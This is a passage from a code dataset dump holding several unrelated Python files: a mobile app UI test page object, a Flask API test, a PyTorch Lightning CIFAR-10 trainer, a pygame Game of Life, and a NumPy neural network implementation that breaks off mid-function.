sys.exit(main())","sub_path":"scenarios/scripts/scale_demand.py","file_name":"scale_demand.py","file_ext":"py","file_size_in_byte":4261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"288625410","text":"import re\nfrom selenium.webdriver.common.by import By\nfrom testcase.common.allBasePageClass import AllBasePage\n\n\nclass SC_Step1_Page(AllBasePage):\n '''\n 短对话第一步选择关键词\n '''\n appPackage = \"com.langlib.ncee\"\n page_title_id = (By.ID, \"{}:id/title_iframe_title_tv\".format(appPackage))\n list_num_id = (By.ID, \"{}:id/fragment_word_dic_index_tv\".format(appPackage))\n\n step_desc = (By.ID, \"{}:id/fragment_short_conv_step_des\".format(appPackage))\n question_id = (By.ID, \"{}:id/conversation_question\".format(appPackage))\n answer_a = (By.ID, \"{}:id/option_a\".format(appPackage))\n answer_b = (By.ID, \"{}:id/option_b\".format(appPackage))\n answer_c = (By.ID, \"{}:id/option_c\".format(appPackage))\n\n short_conv_sure_id = (By.ID, \"{}:id/fragment_short_conv_sure_tv\".format(appPackage))\n short_conv_next_id = (By.ID, \"{}:id/fragment_short_conv_next_tv\".format(appPackage))\n\n def get_step_desc(self):\n return self.getText(self.find_element(*self.step_desc))\n\n def get_short_conv_list_text(self):\n return self.getText(self.find_element(*self.list_num_id))\n\n def get_short_conv_lists_nums(self):\n text = self.getText(self.find_element(*self.list_num_id))\n text_regx = re.compile(r'.*\\((\\d+)\\/(\\d+)')\n result = text_regx.search(text).groups()\n current_num = result[0]\n total_num = result[1]\n return current_num, total_num\n\n def mark_words(self):\n self.find_element(*self.question_id).click()\n self.find_element(*self.answer_a).click()\n self.find_element(*self.answer_b).click()\n self.find_element(*self.answer_c).click()\n\n def click_short_conv_step1_sure(self):\n self.find_element(*self.short_conv_sure_id).click()\n\n def click_short_conv_step1_next(self):\n self.find_element(*self.short_conv_next_id).click()\n\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"testcase/page/learn_center/listening/short_conv/short_conv_step1_Page.py","file_name":"short_conv_step1_Page.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"3151257","text":"from common import assert_ok_code\nfrom api.restful import application\n\n\ndef test_add():\n scene = {\"testUrls\": [{\n \"method\": \"GET\", \"headers\": {}, \"body\": \"\", \"checkPoints\": [],\n \"thresholds\": {\n \"sr\": 1, \"tps\": 1, \"rt_avg\": 1, \"rt_99\": 1, \"rt_95\": 1, \"rt_90\": 1,\n \"rt_75\": 1, \"rt_50\": 1},\n \"url\": \"www.baidu.com\"}],\n \"testModels\": [{\"sort\": 0, \"name\": \"1\", \"url\": \"www.baidu.com\", \"loadRate\": 100}],\n \"name\": \"scene 1\",\n \"threads\": 1,\n \"connections\": 1,\n \"durations\": 1,\n \"timeout\": 1,\n \"projectId\": \"1111\"}\n with application.test_client() as c:\n rv = c.post('/api/v1/scenes', json=scene)\n json_data = rv.get_json()\n print(json_data)\n assert_ok_code(rv.status_code)\n assert json_data['code'] == 10000\n assert len(json_data['data']['_id']) > 0\n\n rv = c.delete('/api/v1/projects/' + json_data['data']['_id'])\n json_data = rv.get_json()\n print(json_data)\n assert_ok_code(rv.status_code)\n\n\nsorts = [{'field1': 1}, {'field2': -1}]\nprint([(field, direction if direction == 1 else -1)\n for s in sorts for (field, direction) in s.items()])\n","sub_path":"api/restful/resources/scenes_api_test.py","file_name":"scenes_api_test.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"80042151","text":"import logging\nimport os\nimport shutil\nfrom itertools import islice\nfrom pathlib import Path\nfrom random import sample\n\nimport numpy as np\nimport pytorch_lightning as pl\nimport torch\nimport torch.nn.functional as F\nimport torchvision\nimport webdataset as wds\nfrom PIL import Image\nfrom pytorch_lightning.callbacks import (\n EarlyStopping,\n LearningRateMonitor,\n ModelCheckpoint,\n)\nfrom pytorch_lightning.loggers import TensorBoardLogger\nfrom pytorch_lightning.metrics import Accuracy\nfrom torch import nn\nfrom torch.multiprocessing import Queue\nfrom torch.utils.data import DataLoader, IterableDataset\nfrom torchvision import models, transforms\nimport boto3\nfrom botocore.exceptions import ClientError\nimport matplotlib.pyplot as plt\n\nclass CIFAR10DataModule(pl.LightningDataModule):\n def __init__(self, **kwargs):\n \"\"\"\n Initialization of inherited lightning data module\n \"\"\"\n super(CIFAR10DataModule, self).__init__()\n\n self.train_dataset = None\n self.valid_dataset = None\n self.test_dataset = None\n self.train_data_loader = None\n self.val_data_loader = None\n self.test_data_loader = None\n self.normalize = transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n self.valid_transform = transforms.Compose(\n [\n transforms.ToTensor(),\n self.normalize,\n ]\n )\n\n self.train_transform = transforms.Compose(\n [\n transforms.RandomResizedCrop(32),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n self.normalize,\n ]\n )\n self.args = kwargs\n\n def prepare_data(self):\n \"\"\"\n Implementation of abstract class\n \"\"\"\n\n @staticmethod\n def getNumFiles(input_path):\n return len(os.listdir(input_path)) - 1\n\n def setup(self, stage=None):\n \"\"\"\n Downloads the data, parse it and split the data into train, test, validation data\n\n :param stage: Stage - training or testing\n \"\"\"\n\n data_path = self.args[\"train_glob\"]\n\n train_base_url = data_path + \"/train\"\n val_base_url = data_path + \"/val\"\n test_base_url = data_path + \"/test\"\n\n train_count = self.getNumFiles(train_base_url)\n val_count = self.getNumFiles(val_base_url)\n test_count = self.getNumFiles(test_base_url)\n\n train_url = \"{}/{}-{}\".format(\n train_base_url, \"train\", \"{0..\" + str(train_count) + \"}.tar\"\n )\n valid_url = \"{}/{}-{}\".format(\n val_base_url, \"val\", \"{0..\" + str(val_count) + \"}.tar\"\n )\n test_url = \"{}/{}-{}\".format(\n test_base_url, \"test\", \"{0..\" + str(test_count) + \"}.tar\"\n )\n\n self.train_dataset = (\n wds.Dataset(train_url, handler=wds.warn_and_continue, length=40000 // 40)\n .shuffle(100)\n .decode(\"pil\")\n .rename(image=\"ppm;jpg;jpeg;png\", info=\"cls\")\n .map_dict(image=self.train_transform)\n .to_tuple(\"image\", \"info\")\n .batched(40)\n )\n\n self.valid_dataset = (\n wds.Dataset(valid_url, handler=wds.warn_and_continue, length=10000 // 20)\n .shuffle(100)\n .decode(\"pil\")\n .rename(image=\"ppm\", info=\"cls\")\n .map_dict(image=self.valid_transform)\n .to_tuple(\"image\", \"info\")\n .batched(20)\n )\n\n self.test_dataset = (\n wds.Dataset(test_url, handler=wds.warn_and_continue, length=10000 // 20)\n .shuffle(100)\n .decode(\"pil\")\n .rename(image=\"ppm\", info=\"cls\")\n .map_dict(image=self.valid_transform)\n .to_tuple(\"image\", \"info\")\n .batched(20)\n )\n\n def create_data_loader(self, dataset, batch_size, num_workers):\n return DataLoader(dataset, batch_size=batch_size, num_workers=num_workers)\n\n def train_dataloader(self):\n \"\"\"\n :return: output - Train data loader for the given input\n \"\"\"\n self.train_data_loader = self.create_data_loader(\n self.train_dataset,\n self.args[\"train_batch_size\"],\n self.args[\"train_num_workers\"],\n )\n return self.train_data_loader\n\n def val_dataloader(self):\n \"\"\"\n :return: output - Validation data loader for the given input\n \"\"\"\n self.val_data_loader = self.create_data_loader(\n self.valid_dataset,\n self.args[\"val_batch_size\"],\n self.args[\"val_num_workers\"],\n )\n return self.val_data_loader\n\n def test_dataloader(self):\n \"\"\"\n :return: output - Test data loader for the given input\n \"\"\"\n self.test_data_loader = self.create_data_loader(\n self.test_dataset, self.args[\"val_batch_size\"], self.args[\"val_num_workers\"]\n )\n return self.test_data_loader\n\n\nclass CIFAR10Classifier(pl.LightningModule):\n def __init__(self, **kwargs):\n \"\"\"\n Initializes the network, optimizer and scheduler\n \"\"\"\n super(CIFAR10Classifier, self).__init__()\n self.model_conv = models.resnet50(pretrained=True)\n for param in self.model_conv.parameters():\n param.requires_grad = False\n num_ftrs = self.model_conv.fc.in_features\n num_classes = 10\n self.model_conv.fc = nn.Linear(num_ftrs, num_classes)\n\n self.scheduler = None\n self.optimizer = None\n self.args = kwargs\n\n self.train_acc = Accuracy()\n self.val_acc = Accuracy()\n self.test_acc = Accuracy()\n\n def forward(self, x):\n out = self.model_conv(x)\n return out\n\n def training_step(self, train_batch, batch_idx):\n if batch_idx == 0:\n self.reference_image = (train_batch[0][0]).unsqueeze(0)\n #self.reference_image.resize((1,1,28,28))\n print(\"\\n\\nREFERENCE IMAGE!!!\")\n print(self.reference_image.shape)\n x, y = train_batch\n y_hat = self.forward(x)\n loss = F.cross_entropy(y_hat, y)\n self.log(\"train_loss\", loss)\n self.train_acc(y_hat, y)\n self.log(\"train_acc\", self.train_acc.compute())\n return {\"loss\": loss}\n\n def test_step(self, test_batch, batch_idx):\n\n x, y = test_batch\n y_hat = self.forward(x)\n loss = F.cross_entropy(y_hat, y)\n if self.args[\"accelerator\"] is not None:\n self.log(\"test_loss\", loss, sync_dist=True)\n else:\n self.log(\"test_loss\", loss)\n self.test_acc(y_hat, y)\n self.log(\"test_acc\", self.test_acc.compute())\n return {\"test_acc\": self.test_acc.compute()}\n\n def validation_step(self, val_batch, batch_idx):\n\n x, y = val_batch\n y_hat = self.forward(x)\n loss = F.cross_entropy(y_hat, y)\n if self.args[\"accelerator\"] is not None:\n self.log(\"val_loss\", loss, sync_dist=True)\n else:\n self.log(\"val_loss\", loss)\n self.val_acc(y_hat, y)\n self.log(\"val_acc\", self.val_acc.compute())\n return {\"val_step_loss\": loss, \"val_loss\": loss}\n\n def configure_optimizers(self):\n \"\"\"\n Initializes the optimizer and learning rate scheduler\n\n :return: output - Initialized optimizer and scheduler\n \"\"\"\n self.optimizer = torch.optim.Adam(self.parameters(), lr=self.args[\"lr\"])\n self.scheduler = {\n \"scheduler\": torch.optim.lr_scheduler.ReduceLROnPlateau(\n self.optimizer,\n mode=\"min\",\n factor=0.2,\n patience=3,\n min_lr=1e-6,\n verbose=True,\n ),\n \"monitor\": \"val_loss\",\n }\n return [self.optimizer], [self.scheduler]\n\n def makegrid(self, output, numrows):\n outer = torch.Tensor.cpu(output).detach()\n plt.figure(figsize=(20, 5))\n b = np.array([]).reshape(0, outer.shape[2])\n c = np.array([]).reshape(numrows * outer.shape[2], 0)\n i = 0\n j = 0\n while i < outer.shape[1]:\n img = outer[0][i]\n b = np.concatenate((img, b), axis=0)\n j += 1\n if j == numrows:\n c = np.concatenate((c, b), axis=1)\n b = np.array([]).reshape(0, outer.shape[2])\n j = 0\n\n i += 1\n return c\n\n def showActivations(self, x):\n\n # logging reference image\n self.logger.experiment.add_image(\n \"input\", torch.Tensor.cpu(x[0][0]), self.current_epoch, dataformats=\"HW\"\n )\n\n # logging layer 1 activations\n out = self.model_conv.conv1(x)\n c = self.makegrid(out, 4)\n self.logger.experiment.add_image(\n \"layer 1\", c, self.current_epoch, dataformats=\"HW\"\n )\n\n def training_epoch_end(self, outputs):\n self.showActivations(self.reference_image)\n\n # Logging graph\n if(self.current_epoch==0):\n sampleImg=torch.rand((1,3,64,64))\n self.logger.experiment.add_graph(CIFAR10Classifier(),sampleImg)\n\n\ndef train_model(\n train_glob: str,\n gpus: int,\n tensorboard_root: str,\n max_epochs: int,\n train_batch_size: int,\n val_batch_size: int,\n train_num_workers: int,\n val_num_workers: int,\n learning_rate: int,\n accelerator: str,\n model_save_path: str\n):\n\n if accelerator == \"None\":\n accelerator = None\n if train_batch_size == \"None\":\n train_batch_size = None\n if val_batch_size == \"None\":\n val_batch_size = None\n\n dict_args = {\n \"train_glob\": train_glob,\n \"max_epochs\": max_epochs,\n \"train_batch_size\": train_batch_size,\n \"val_batch_size\": val_batch_size,\n \"train_num_workers\": train_num_workers,\n \"val_num_workers\": val_num_workers,\n \"lr\": learning_rate,\n \"accelerator\": accelerator,\n }\n\n classes = (\n \"plane\",\n \"car\",\n \"bird\",\n \"cat\",\n \"deer\",\n \"dog\",\n \"frog\",\n \"horse\",\n \"ship\",\n \"truck\",\n )\n\n dm = CIFAR10DataModule(**dict_args)\n dm.prepare_data()\n dm.setup(stage=\"fit\")\n\n model = CIFAR10Classifier(**dict_args)\n early_stopping = EarlyStopping(\n monitor=\"val_loss\", mode=\"min\", patience=5, verbose=True\n )\n\n Path(model_save_path).mkdir(parents=True, exist_ok=True)\n\n if len(os.listdir(model_save_path)) > 0:\n for filename in os.listdir(model_save_path):\n filepath = os.path.join(model_save_path, filename)\n try:\n shutil.rmtree(filepath)\n except OSError:\n os.remove(filepath)\n\n checkpoint_callback = ModelCheckpoint(\n dirpath=model_save_path,\n filename=\"cifar10_{epoch:02d}\",\n save_top_k=1,\n verbose=True,\n monitor=\"val_loss\",\n mode=\"min\",\n prefix=\"\",\n )\n\n if os.path.exists(os.path.join(tensorboard_root, \"cifar10_lightning_kubeflow\")):\n shutil.rmtree(os.path.join(tensorboard_root, \"cifar10_lightning_kubeflow\"))\n\n Path(tensorboard_root).mkdir(parents=True, exist_ok=True)\n\n # Tensorboard root name of the logging directory\n tboard = TensorBoardLogger(tensorboard_root, \"cifar10_lightning_kubeflow\")\n lr_logger = LearningRateMonitor()\n\n trainer = pl.Trainer(\n gpus=gpus,\n logger=tboard,\n checkpoint_callback=checkpoint_callback,\n max_epochs=max_epochs,\n callbacks=[lr_logger, early_stopping],\n accelerator=accelerator,\n )\n\n trainer.fit(model, dm)\n trainer.test()\n\n\nif __name__ == \"__main__\":\n\n import sys\n import json\n\n data_set = json.loads(sys.argv[1])[0]\n output_path = json.loads(sys.argv[2])[0]\n input_parameters = json.loads(sys.argv[3])[0]\n\n print(\"INPUT_PARAMETERS:::\")\n print(input_parameters)\n\n tensorboard_root = input_parameters['tensorboard_root']\n max_epochs = input_parameters['max_epochs']\n train_batch_size = input_parameters['train_batch_size']\n val_batch_size = input_parameters['val_batch_size']\n train_num_workers = input_parameters['train_num_workers']\n val_num_workers = input_parameters['val_num_workers']\n learning_rate = input_parameters['learning_rate']\n accelerator = input_parameters['accelerator']\n gpus = input_parameters['gpus']\n\n\n train_model(\n train_glob=data_set,\n model_save_path=output_path,\n tensorboard_root=tensorboard_root,\n max_epochs=max_epochs,\n gpus=gpus,\n train_batch_size=train_batch_size,\n val_batch_size=val_batch_size,\n train_num_workers=train_num_workers,\n val_num_workers=val_num_workers,\n learning_rate=learning_rate,\n accelerator=accelerator\n )\n","sub_path":"cifar10/cifar10_train.py","file_name":"cifar10_train.py","file_ext":"py","file_size_in_byte":12821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"141454249","text":"# By Javier Gonzalez 4/29/2020 javierj.g18@gmail.com\n\nimport pygame\nimport random\n\ndef create_alive_list(pp):\n alive = []\n for i in range(pp**2):\n alive.append(False)\n return alive\n\ndef create_grid(winwidth,winhieght,pixels):\n gwidht = winwidth//pixels\n gheight = winhieght//pixels\n\n grid_points = []\n\n for r in range(pixels):\n for c in range(pixels):\n grid_points.append([c*gwidht,r*gheight])\n \n return [grid_points,gwidht,gheight]\n\ndef Game_Rules(grid_p,list_index,compare,alive):\n global alive_list, alive_list_aux\n \"\"\"\n Now once I have the code to compare every cell lets implement the actual rules\n R1 = Any live cell with fewer than two live neighbours dies, as if by underpopulation.\n R2 = Any live cell with two or three live neighbours lives on to the next generation.\n R3 = Any live cell with more than three live neighbours dies, as if by overpopulation.\n R4 = Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.\n \"\"\"\n # R1\n if compare < 2 and alive == True:\n grid_p.off()\n alive_list_aux[list_index] = False\n # R2\n elif compare in [2,3] and alive == True:\n grid_p.on()\n alive_list_aux[list_index] = True\n # R3\n elif compare > 3 and alive == True:\n grid_p.off()\n alive_list_aux[list_index] = False\n # R4\n elif compare == 3 and alive == False:\n grid_p.on()\n alive_list_aux[list_index] = True\n\n\nclass gridentity:\n def __init__(self,x,y,w,h,alive = False):\n self.w = w\n self.h = h\n self.x = x\n self.y = y\n self.alive = alive\n self.r,self.g,self.b = 0,0,0\n\n def color_degrade(self):\n v = 10\n if self.r > 0:\n self.r -= v \n elif self.g > 0:\n self.g -= v \n elif self.b > 0:\n self.b -= v \n\n def revive(self):\n self.r,self.g,self.b = 0,random.randint(180,230),0\n\n def on(self):\n self.revive()\n pygame.draw.rect(win,(self.r,self.g,self.b),(self.x,self.y,self.w,self.h))\n self.alive = True\n\n def off(self):\n pygame.draw.rect(win,(0,0,0),(self.x,self.y,self.w,self.h))\n self.alive = False\n\n def isalive(self):\n return self.alive\n\n# MAIN\npygame.init()\nclock = pygame.time.Clock()\n\nwinwidth, winhieght = 700,700\nwin = pygame.display.set_mode((winwidth,winhieght))\npp = 70\nalive_list = create_alive_list(pp)\n\ngrid_points,gwidht,gheight = create_grid(winwidth, winhieght,pp)\ngrid_list = []\n\nfor (x,y),a in zip(grid_points,alive_list):\n grid_list.append(gridentity(x,y,gwidht,gheight,a))\n\ncolumn1_index = []\ncolumnpp_index = []\nfor i in range(pp):\n column1_index.append(i*pp)\n if i == 0:\n x = pp-1\n else:\n x += pp\n columnpp_index.append(x)\n\n# Let's start with some pixels\nstarting = []\nfor i in range(pp**2):\n if random.randint(0,10) >= 8:\n starting.append(i)\n\nfor index in starting:\n grid_list[index].on()\n alive_list[index] = True\n\n# Window Loop\nrun = True\nwhile run and sum(alive_list) > 0:\n clock.tick(10)\n\n for point,a in zip(grid_list,alive_list):\n if a == True:\n point.on()\n if a == False:\n point.off()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n# Need to check for the nearest pixels\n# - Case 1: Corners 2 Compare 3 things (4 cases) [0,pp-1,(pp*(pp-1))+1,(pp**2)-1]\n# - Case 2: Inner cases (the other cases)\n# - Case 3: the border conditions\n\n alive_list_aux = alive_list.copy()\n\n for point,i in zip(grid_list,range(len(alive_list))):\n # Case 1.1\n if i == 0:\n alive = point.isalive()\n compare = sum([alive_list[0],alive_list[pp],alive_list[pp+1]])\n Game_Rules(point,i,compare,alive)\n # Case 1.2\n elif i == pp-1:\n alive = point.isalive()\n compare = sum([alive_list[pp-2],alive_list[(2*pp)-1],alive_list[(2*pp)-2]])\n Game_Rules(point,i,compare,alive)\n # Case 1.3\n elif i == ((pp-1)**2) + (pp-1):\n alive = point.isalive()\n compare = sum([alive_list[(pp*(pp-2))],alive_list[(pp*(pp-2))+1],\\\n alive_list[((pp-1)**2) + (pp-1) + 1]])\n Game_Rules(point,i,compare,alive)\n # Case 1.4\n elif i == (pp**2)-1:\n alive = point.isalive()\n compare = sum([alive_list[(pp**2)-1],alive_list[(pp*(pp-1))-1],alive_list[(pp*(pp-1))-2]])\n Game_Rules(point,i,compare,alive)\n # Case 2.1 1st row\n elif i > 0 and i < pp-1:\n alive = point.isalive()\n compare = sum([alive_list[i-1],alive_list[i+1],alive_list[i+pp],alive_list[i+pp+1],\\\n alive_list[i+pp-1]])\n Game_Rules(point,i,compare,alive)\n # Case 2.2 column 1\n elif i in column1_index:\n alive = point.isalive()\n compare = sum([alive_list[i+1],alive_list[i-pp],alive_list[i+pp],\\\n alive_list[i-pp+1],alive_list[i+pp+1]])\n Game_Rules(point,i,compare,alive)\n # Case 2.3 final row\n elif i > ((pp-1)**2) + (pp-1) and i < (pp**2)-1:\n alive = point.isalive()\n compare = sum([alive_list[i-1],alive_list[i+1],alive_list[i-pp]])\n compare = sum([alive_list[i-1],alive_list[i+1],alive_list[i-pp],\\\n alive_list[i-pp-1],alive_list[i-pp+1]])\n Game_Rules(point,i,compare,alive)\n # Case 2.4 final column\n elif i in columnpp_index:\n alive = point.isalive()\n compare = sum([alive_list[i-1],alive_list[i-pp],alive_list[i+pp],\\\n alive_list[i-pp-1],alive_list[i+pp-1]])\n Game_Rules(point,i,compare,alive)\n # Case 3 in the middle\n else:\n alive = point.isalive()\n compare = sum([alive_list[i+1],alive_list[i-1],alive_list[i-pp],alive_list[i+pp],\\\n alive_list[i-pp+1],alive_list[i-pp-1],alive_list[i+pp+1],\\\n alive_list[i+pp-1]])\n Game_Rules(point,i,compare,alive)\n \n alive_list = alive_list_aux\n pygame.display.update()\npygame.quit()","sub_path":"Python Scripts/Game of Life/Game_of_Life.py","file_name":"Game_of_Life.py","file_ext":"py","file_size_in_byte":6284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"636095863","text":"'''\nThis file implements a multi layer neural network for a multiclass classifier\nAravamuthan Lakshminarayanan\nalaksh17@asu.edu\nHemanth Venkateswara\nhkdv1@asu.edu\nOct 2018\n'''\nimport numpy as np;\nfrom src import Activation_functions_and_derivatives as AFD;\nfrom src import UtilityFunctions as UF;\nfrom src import load_mnist_Prof as LMP;\nimport sys, ast;\nimport time;\nfrom src.Poly import PolyUpdate as PU;\nfrom src.Adam import AdamUpdate as AU;\nfrom src.Nestrov import NestrovUpdate as NU;\nfrom src.RMSProp import RMSpropUpdate as RPU;\n\nno_of_digits = 10;\ngamma = .9\n\n\ndef updateWAndB(parameters, momentumParams):\n\n L = len(parameters) // 2;\n # Once the required slopes of W and b are found the update\n # we update the value W and b and continue till the required iterations are completed\n for l in range(1, L + 1):\n parameters[\"W\" + str(l)] = parameters[\"W\" + str(l)] - gamma * momentumParams[\"vtw\" + str(l)];\n parameters[\"b\" + str(l)] = parameters[\"b\" + str(l)] - gamma * momentumParams[\"vtb\" + str(l)];\n\ndef initialize_multilayer_weights(net_dims):\n '''\n Initializes the weights of the multilayer network\n\n Inputs:\n net_dims - tuple of network dimensions\n\n Returns:\n dictionary of parameters\n '''\n\n # initialized network parameters\n # We know that W1 dim (n_h,n_in), also\n # W2 dim (n_fin, n_h) so on and so forth\n # b1 dim (n_h, 1)\n # b2 dim (n_fin, 1) so on and so forth\n # from above relationship we can say that, WL = (net_dims[L+1],net_dims[L])\n # Simmilarily we can also say that, bL = (net_dims[L+1],1)\n # we initialize these with with normal random value and use factor 0.001\n # we could have used xavier's initailization but I am going ahead with value 0.001\n\n np.random.seed(0);\n numLayers = len(net_dims);\n parameters = {};\n momentumParams = {};\n for l in range(numLayers - 1):\n parameters[\"W\" + str(l + 1)] = np.random.randn(net_dims[l + 1], net_dims[l]) * np.sqrt(1 / net_dims[l + 1]);\n parameters[\"b\" + str(l + 1)] = np.random.randn(net_dims[l + 1], 1) * np.sqrt(1 / net_dims[l + 1]);\n momentumParams[\"vtw\" + str(l + 1)] = np.zeros((net_dims[l + 1], net_dims[l]), dtype=float);\n momentumParams[\"vtb\" + str(l + 1)] = np.zeros((net_dims[l + 1], 1), dtype=float);\n momentumParams[\"mtw\" + str(l + 1)] = np.zeros((net_dims[l + 1], net_dims[l]), dtype=float);\n momentumParams[\"mtb\" + str(l + 1)] = np.zeros((net_dims[l + 1], 1), dtype=float);\n return parameters, momentumParams;\n\n\ndef linear_forward(A, W, b):\n '''\n Input A propagates through the layer\n Z = WA + b is the output of this layer.\n\n Inputs:\n A - numpy.ndarray (n,m) the input to the layer\n W - numpy.ndarray (n_out, n) the weights of the layer\n b - numpy.ndarray (n_out, 1) the bias of the layer\n\n Returns:\n Z = WA + b, where Z is the numpy.ndarray (n_out, m) dimensions\n cache - a dictionary containing the inputs A\n '''\n cache = {};\n cache[\"A\"] = A;\n # Simple forward step for Lth layer ZL with inputs A(L-1), W and b\n Z = np.dot(W, A) + b;\n return Z, cache;\n\n\ndef layer_forward(A_prev, W, b, activation):\n '''\n Input A_prev propagates through the layer and the activation\n\n Inputs:\n A_prev - numpy.ndarray (n,m) the input to the layer\n W - numpy.ndarray (n_out, n) the weights of the layer\n b - numpy.ndarray (n_out, 1) the bias of the layer\n activation - is the string that specifies the activation function\n\n Returns:\n A = g(Z), where Z = WA + b, where Z is the numpy.ndarray (n_out, m) dimensions\n g is the activation function\n cache - a dictionary containing the cache from the linear and the nonlinear propagation\n to be used for derivative\n '''\n Z, lin_cache = linear_forward(A_prev, W, b);\n if activation == \"relu\":\n A, act_cache = AFD.relu(Z);\n elif activation == \"linear\":\n A, act_cache = AFD.linear(Z);\n\n cache = {};\n cache[\"lin_cache\"] = lin_cache;\n cache[\"act_cache\"] = act_cache;\n return A, cache;\n\n\ndef multi_layer_forward(X, parameters):\n '''\n Forward propgation through the layers of the network\n\n Inputs:\n X - numpy.ndarray (n,m) with n features and m samples\n parameters - dictionary of network parameters {\"W1\":[..],\"b1\":[..],\"W2\":[..],\"b2\":[..]...}\n Returns:\n AL - numpy.ndarray (c,m) - outputs of the last fully connected layer before softmax\n where c is number of categories and m is number of samples in the batch\n caches - a dictionary of associated caches of parameters and network inputs\n '''\n L = len(parameters) // 2\n A = X\n caches = []\n for l in range(1, L): # since there is no W0 and b0\n A, cache = layer_forward(A, parameters[\"W\" + str(l)], parameters[\"b\" + str(l)], \"relu\")\n caches.append(cache)\n\n AL, cache = layer_forward(A, parameters[\"W\" + str(L)], parameters[\"b\" + str(L)], \"linear\")\n caches.append(cache)\n return AL, caches\n\n\ndef linear_backward(dZ, cache, W, b):\n '''\n Backward prpagation through the linear layer\n\n Inputs:\n dZ - numpy.ndarray (n,m) derivative dL/dz\n cache - a dictionary containing the inputs A, for the linear layer\n where Z = WA + b,\n Z is (n,m); W is (n,p); A is (p,m); b is (n,1)\n W - numpy.ndarray (n,p)\n b - numpy.ndarray (n, 1)\n\n Returns:\n dA_prev - numpy.ndarray (p,m) the derivative to the previous layer\n dW - numpy.ndarray (n,p) the gradient of W\n db - numpy.ndarray (n, 1) the gradient of b\n '''\n A_prev = cache[\"A\"]\n # If we consider this a general layer this will give us three\n # outputs dA for the layer before, dW and db from the current layer\n dA_prev = np.dot(W.T, dZ);\n dW = np.dot(dZ, cache[\"A\"].T) / A_prev.shape[1];\n db = np.sum(dZ, axis=1, keepdims=True) / A_prev.shape[1];\n return dA_prev, dW, db;\n\n\ndef layer_backward(dA, cache, W, b, activation):\n '''\n Backward propagation through the activation and linear layer\n\n Inputs:\n dA - numpy.ndarray (n,m) the derivative to the previous layer\n cache - dictionary containing the linear_cache and the activation_cache\n activation - activation of the layer\n W - numpy.ndarray (n,p)\n b - numpy.ndarray (n, 1)\n\n Returns:\n dA_prev - numpy.ndarray (p,m) the derivative to the previous layer\n dW - numpy.ndarray (n,p) the gradient of W\n db - numpy.ndarray (n, 1) the gradient of b\n '''\n lin_cache = cache[\"lin_cache\"]\n act_cache = cache[\"act_cache\"]\n\n if activation == \"sigmoid\":\n dZ = AFD.sigmoid_der(dA, act_cache)\n elif activation == \"tanh\":\n dZ = AFD.tanh_der(dA, act_cache)\n elif activation == \"relu\":\n dZ = AFD.relu_der(dA, act_cache)\n elif activation == \"linear\":\n dZ = AFD.linear_der(dA, act_cache)\n dA_prev, dW, db = linear_backward(dZ, lin_cache, W, b)\n return dA_prev, dW, db\n\n\ndef multi_layer_backward(dAL, caches, parameters):\n '''\n Back propgation through the layers of the network (except softmax cross entropy)\n softmax_cross_entropy can be handled separately\n\n Inputs:\n dAL - numpy.ndarray (n,m) derivatives from the softmax_cross_entropy layer\n caches - a dictionary of associated caches of parameters and network inputs\n parameters - dictionary of network parameters {\"W1\":[..],\"b1\":[..],\"W2\":[..],\"b2\":[..]...}\n\n Returns:\n gradients - dictionary of gradient of network parameters\n {\"dW1\":[..],\"db1\":[..],\"dW2\":[..],\"db2\":[..],...}\n '''\n L = len(caches) # with one hidden layer, L = 2\n gradients = {}\n dA = dAL\n activation = \"linear\"\n for l in reversed(range(1, L + 1)):\n dA, gradients[\"dW\" + str(l)], gradients[\"db\" + str(l)] = \\\n layer_backward(dA, caches[l - 1], \\\n parameters[\"W\" + str(l)], parameters[\"b\" + str(l)], \\\n activation)\n activation = \"relu\"\n return gradients\n\n\ndef classify(X, parameters, lables, onlyPred=False):\n '''\n Network prediction for inputs X\n\n Inputs:\n X - numpy.ndarray (n,m) with n features and m samples\n parameters - dictionary of network parameters\n {\"W1\":[..],\"b1\":[..],\"W2\":[..],\"b2\":[..],...}\n Returns:\n YPred - numpy.ndarray (1,m) of predictions\n '''\n #\n # Forward propagate X using multi_layer_forward\n # Get predictions using softmax_cross_entropy_loss\n # Estimate the class labels using predictions\n\n AL = multi_layer_forward(X, parameters)[0];\n if onlyPred:\n Ypred = AFD.softmax_cross_entropy_loss(AL);\n return Ypred;\n Ypred, _, loss = AFD.softmax_cross_entropy_loss(AL, lables);\n return Ypred, loss;\n\n\ndef update_parameters(parameters, gradients, epoch, learning_rate, decay_rate=0.01, descent_optimization_type=0,\n momentumParams={}, t=0):\n '''\n Updates the network parameters with gradient descent\n\n Inputs:\n parameters - dictionary of network parameters\n {\"W1\":[..],\"b1\":[..],\"W2\":[..],\"b2\":[..],...}\n gradients - dictionary of gradient of network parameters\n {\"dW1\":[..],\"db1\":[..],\"dW2\":[..],\"db2\":[..],...}\n epoch - epoch number\n learning_rate - step size for learning\n decay_rate - rate of decay of step size - not necessary - in case you want to use\n '''\n # epoch = 1;\n alpha = learning_rate * (1 / (1 + decay_rate * epoch));\n #alpha = learning_rate;\n L = len(parameters) // 2;\n # Once the required slopes of W and b are found the update\n # we update the value W and b and continue till the required iterations are completed\n\n for l in range(1, L + 1):\n dw_update = gradients[\"dW\" + str(l)];\n db_update = gradients[\"db\" + str(l)];\n if descent_optimization_type == 1:\n dw_update, db_update = PU.polyUpdateParams(momentumParams[\"mtw\" + str(l)], momentumParams[\"mtb\" + str(l)],\n dw_update, db_update, t);\n momentumParams[\"mtw\" + str(l)] = dw_update;\n momentumParams[\"mtw\" + str(l)] = db_update;\n elif descent_optimization_type == 2:\n dw_update, db_update = NU.NestrovUpdateParams(momentumParams[\"vtw\" + str(l)],\n momentumParams[\"vtb\" + str(l)],\n dw_update, db_update);\n 